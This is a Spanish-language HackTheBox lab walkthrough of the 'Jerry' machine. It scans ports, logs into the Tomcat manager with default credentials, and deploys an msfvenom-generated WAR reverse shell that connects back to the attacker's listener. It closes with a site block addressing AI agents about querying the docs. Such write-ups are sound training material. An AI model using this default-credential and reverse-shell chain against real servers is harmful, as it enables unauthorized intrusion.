# Jerry

<figure><img src="/files/oRHHPDjL6Ng481HutPJI" alt=""><figcaption></figcaption></figure>

Jerry es posiblemente la caja más fácil en HackTheBox. Hay una instalación de Tomcat con una contraseña predeterminada para el Administrador de aplicaciones web. Lo usaré para cargar un archivo WAR, que devuelve un shell del sistema y acceso a ambas banderas.

### Enumeración

#### NMAP&#x20;

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 10.10.10.95
```

<figure><img src="/files/ry2TcpgVwbVOTdnYZUR5" alt=""><figcaption></figcaption></figure>

Únicamente está abierta el puerto 8080 TCP en la máquina objetivo.&#x20;

```
nmap -p8080 -sVC -vv 10.10.10.95
```

<figure><img src="/files/dlKlEZanppFsDI1jDiZl" alt=""><figcaption></figcaption></figure>

Un servicio abierto:

* Puerto 8080 -> Apache Tomcat JSP Engine 1.1

#### Enumeración web

Vamos a ver el contenido del puerto 8080 en el navegador web.&#x20;

<figure><img src="/files/wb2MJwrSyLn4WNrwa2Zw" alt=""><figcaption></figcaption></figure>

Vemos una página por defecto de un servidor Apache Tomcat.

El siguiente paso, realizar una enumeración de directorios. Para ello, vamos a utilizar la herramienta [dirsearch](https://github.com/maurosoria/dirsearch).&#x20;

```
dirsearch -u "http://10.10.10.95:8080/" -w '/home/kali/SecLists/Discovery/Web-Content/ApacheTomcat.fuzz.txt' -r
```

<figure><img src="/files/uHgjTDFiPFKNTQ5o0Np3" alt=""><figcaption></figcaption></figure>

Después de investigar cada uno de los resultados anteriores, el más interesante es el directorio /manager, que nos pide credenciales para iniciar sesión. Vamos a comenzar con las credenciales por defecto por excelencia admin/admin.&#x20;

<figure><img src="/files/rmvcpu6tKHvdp7rmRxRf" alt=""><figcaption></figcaption></figure>

Con las credenciales admin/admin, tenemos acceso denegado. Si analizamos un poco el resutlado devuelto, podemos ver las credenciales por defecto de Apache Tomcat. Vamos a probar de nuevo con estas credenciales.

<figure><img src="/files/G7TKDAD1rnZFapqFn5BC" alt=""><figcaption></figcaption></figure>

Accedemos al gestor del servidor Apache Tomcat. Vamos a investigar un poco en busca de posibles puntos vulnerables.&#x20;

<figure><img src="/files/W2qpyM9AsoVbpSY90dWk" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Para obtener un shell, vamos a utilizar la sección "WAR file to deploy" de la aplicación del administrador.&#x20;

Un archivo de recursos de aplicaciones web (WAR) es un contenedor de un solo archivo que contiene todos los archivos potenciales necesarios para una aplicación web basada en Java. Puede tener archivos de Java (.jar), páginas de servidor de Java (.jsp), servlets de Java, clases de Java, páginas web, css, etc.&#x20;

Tomcat Manager facilita la implementación de archivos WAR con un par de clics y, dado que estos pueden contener código Java, es un excelente objetivo para lograr la ejecución.

#### Crear archivo WAR

Vamos a utilziar msfvenom para crear un shell inverso de Windows que pueda ser capturado con netcat.&#x20;

La creamos de la siguiente manera:

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.8 LPORT=4444 -f war > securiters.warUna vez creado el archivo, procedemos a subirlo al servidor y al mismo, tiempo habilitamos un oyente en el puerto que hayamos habilitado en el archivo malicioso creado.
```

El siguiente paso será por  un lado, ejecutar el archivo creado en el navegador y por otro lado habilitar un oyente en el puerto habilitado en el archivo malicioso. <br>

<figure><img src="/files/JAr1QTEwJVQDMlSEfXt2" alt=""><figcaption><p>Ejecutando la shell en el navegador</p></figcaption></figure>

<figure><img src="/files/25JT9yhMu9E3G73hoygU" alt=""><figcaption><p>Shell activa en el oyente. Tenemos privilegios root</p></figcaption></figure>

Obtenemos shell como administradores, ya solo nos falta buscar ambas flags. Ambas flags se encuentran en el directorio&#x20;

```
C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
```

<figure><img src="/files/wUBbkiUVR8dtxn0gcPth" alt=""><figcaption><p>Flags</p></figcaption></figure>

Ya tendriamos el CTF Jerry de HTB acabado.&#x20;

{% embed url="<https://www.youtube.com/watch?v=kK5XjCZ9ZmI>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/hack-the-box/jerry.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
